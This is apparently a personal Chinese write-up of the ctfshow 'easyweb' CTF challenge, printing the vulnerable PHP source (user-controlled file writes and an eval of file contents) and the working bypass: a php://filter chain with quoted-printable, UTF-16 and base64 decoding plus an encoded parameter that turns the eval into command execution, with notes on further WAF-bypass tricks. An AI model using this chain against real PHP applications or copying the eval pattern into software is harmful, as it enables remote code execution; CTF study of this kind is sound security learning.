ctfshow easyweb 利用filter来进行字符操作进行绕过
今天碰到一个难度较高的题。本文只是给自己做参考,想要看完整的可以搜搜元旦赛的easyweb。
点击查看代码
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
我们看到经过一次base64解码后ctfshowshowshowwww字符串只有两个字符是可见字符,r与0,在进行一次就可以了,但是waf里面限制了只能经过1次base64,所以这里就没头绪了。官方wp用的是utf-8,utf-16le,quoted-printable编码,那就试试。
可以看到ctfshowshowshowwww在经过几次编码后直接全变为了不可见字符,全不输出了。但是file_put_contents会对空字节报错,所以利用了quoted-printable用于填充空字节,因为utf-8转utf-16le会产生空字节。所以我们只需要将我们想要让其呈现的进行base64编码,再利用filter进行送入即可。
所以最后的name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw
chu0=c=003=00l=00z=00d=00G=00V=00t=00 即可。
本题还有其他的知识点,总结下:
- 利用filter过滤器decode让ctfshowshowshowwww直接识别不到
- chu0===chu1的让绕过 利用引用赋值的知识 $Chu0_write->chu1 = &$Chu0_write->chu0;
- $_SERVER['QUERY_STRING'] 只匹配没有被编码的特性
- request对于get post 取值的优先级